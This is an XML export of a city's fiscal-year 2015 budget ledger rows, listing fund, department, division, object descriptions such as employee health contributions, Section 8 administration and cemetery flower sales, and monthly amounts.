<row _id="16092"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-2513.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2513.0</total></row>
<row _id="16093"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-135025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-135025.0</total></row>
<row _id="16094"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-2840.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2840.0</total></row>
<row _id="16095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6287.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6287.0</total></row>
<row _id="16096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6549.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6549.0</total></row>
<row _id="16097"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-2609.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2609.0</total></row>
<row _id="16098"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403721.0</object><object_description>SERIAL INEBRIATE GRANT LEASING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-356349.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-356349.0</total></row>
<row _id="16099"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400882.0</object><object_description>SPC HAP TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16100"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16101"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-11996.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11996.0</total></row>
<row _id="16102"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5629.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5629.0</total></row>
<row _id="16103"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8055.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8055.0</total></row>
<row _id="16104"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="16105"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="16106"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>47000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47000.0</total></row>
<row _id="16107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>563254.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>563254.0</total></row>
<row _id="16108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>185829.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>185829.0</total></row>
<row _id="16109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>112947.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>112947.0</total></row>
<row _id="16110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>814.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>814.0</total></row>
<row _id="16111"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>151775.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>151775.0</total></row>
<row _id="16112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>932.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>932.0</total></row>
<row _id="16113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1015.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1015.0</total></row>
<row _id="16114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400885.0</object><object_description>SPC HAP NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-276654.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-276654.0</total></row>
<row _id="16115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400922.0</object><object_description>SPC ADMIN TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-107446.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-107446.0</total></row>
<row _id="16116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>19541.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19541.0</total></row>
<row _id="16117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FSS ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>22940.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22940.0</total></row>
<row _id="16120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400924.0</object><object_description>SPC ADMIN EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10418.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10418.0</total></row>
<row _id="16122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="16123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 PORT IN ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="16125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>814.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>814.0</total></row>
<row _id="16126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>802.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>802.0</total></row>
<row _id="16127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>14737.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14737.0</total></row>
<row _id="16128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="16129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>38363.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38363.0</total></row>
<row _id="16130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-4700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4700.0</total></row>
<row _id="16131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2010.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2010.0</total></row>
<row _id="16132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="16133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409033.0</object><object_description>CAMP SM-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402800.0</object><object_description>NAME PLATES / BENCHES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-10091.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10091.0</total></row>
<row _id="16135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402820.0</object><object_description>FLOWER SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-17029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17029.0</total></row>
<row _id="16136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16137"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5777.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5777.0</total></row>
<row _id="16138"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>49083.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49083.0</total></row>
